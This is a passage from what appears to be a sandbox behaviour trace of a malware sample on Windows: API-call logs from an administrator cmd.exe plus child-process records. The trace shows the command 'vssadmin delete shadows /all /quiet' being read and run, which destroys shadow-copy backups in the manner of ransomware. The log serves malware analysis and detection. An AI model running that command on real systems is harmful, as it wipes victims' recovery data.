CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0117.919] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xbc75eff578, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff578*=0x18, lpOverlapped=0x0) returned 1 [0117.919] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.919] GetFileType (hFile=0x248) returned 0x3 [0117.919] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.919] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.919] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0117.919] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0117.919] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.919] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.919] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0117.919] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0117.919] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.919] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.919] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0117.919] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0117.919] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.919] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.919] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0117.919] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0117.920] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.920] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.920] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0117.920] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0117.920] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.920] GetFileType (hFile=0x248) returned 0x3 [0117.920] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.920] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.920] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.920] GetFileType (hFile=0x254) returned 0x3 [0117.920] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.920] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0117.920] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xbc75eff878, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff878*=0x5, lpOverlapped=0x0) returned 1 [0117.920] GetProcessHeap () returned 0x21cb43d0000 [0117.920] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x4012) returned 0x21cb43d8fc0 [0117.920] GetProcessHeap () returned 0x21cb43d0000 [0117.920] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8fc0) returned 1 [0117.921] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0117.921] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0117.921] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0117.921] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0117.921] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0117.921] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0117.921] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0117.921] GetProcessHeap () returned 0x21cb43d0000 [0117.921] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xb0) returned 0x21cb43d8320 [0117.921] GetProcessHeap () returned 0x21cb43d0000 [0117.921] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x1a) returned 0x21cb43d6a80 [0117.922] GetConsoleOutputCP () returned 0x4e3 [0117.936] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6e20afbb0 | out: lpCPInfo=0x7ff6e20afbb0) returned 1 [0117.936] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.938] GetConsoleTitleW (in: lpConsoleTitle=0xbc75eff6c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0117.942] malloc (_Size=0xffce) returned 0x21cb44f0840 [0117.942] ??_V@YAXPEAX@Z () returned 0x21cb44f0840 [0117.942] malloc (_Size=0xffce) returned 0x21cb4500820 [0117.942] ??_V@YAXPEAX@Z () returned 0x21cb4500820 [0117.942] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0117.942] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0117.942] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0117.942] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0117.942] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0117.942] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0117.942] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0117.942] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0117.942] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0117.942] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0117.942] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0117.942] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0117.942] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0117.942] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0117.942] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0117.942] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0117.942] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0117.942] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0117.942] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0117.942] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0117.942] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0117.942] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0117.942] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0117.942] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0117.943] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0117.943] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0117.943] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0117.943] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0117.943] ??_V@YAXPEAX@Z () returned 0x1 [0117.943] GetProcessHeap () returned 0x21cb43d0000 [0117.943] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x14) returned 0x21cb43d1850 [0117.943] GetProcessHeap () returned 0x21cb43d0000 [0117.943] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x1a) returned 0x21cb43d6ef0 [0117.943] GetProcessHeap () returned 0x21cb43d0000 [0117.943] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x21c) returned 0x21cb43d6c30 [0117.943] GetConsoleTitleW (in: lpConsoleTitle=0x21cb43d6c40, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0117.946] GetProcessHeap () returned 0x21cb43d0000 [0117.946] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43d6c30, Size=0x82) returned 0x21cb43d6c30 [0117.946] GetProcessHeap () returned 0x21cb43d0000 [0117.946] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43d6c30) returned 0x82 [0117.946] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0117.953] GetProcessHeap () returned 0x21cb43d0000 [0117.953] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6c30) returned 1 [0117.953] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0117.962] exit (_Code=1073807364) Thread: id = 24 os_tid = 0xe38 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x10714000" os_pid = "0xf8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9fc" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x1b4 Thread: id = 10 os_tid = 0xd18 Thread: id = 21 os_tid = 0x498 Thread: id = 22 os_tid = 0xf94 Thread: id = 23 os_tid = 0xe98 Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x750d5000" os_pid = "0x49c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9fc" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x4b0 Thread: id = 26 os_tid = 0xd98 Thread: id = 27 os_tid = 0x4e4 Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0xb40d000" os_pid = "0xcb8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9fc" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x3a8 Thread: id = 29 os_tid = 0xb10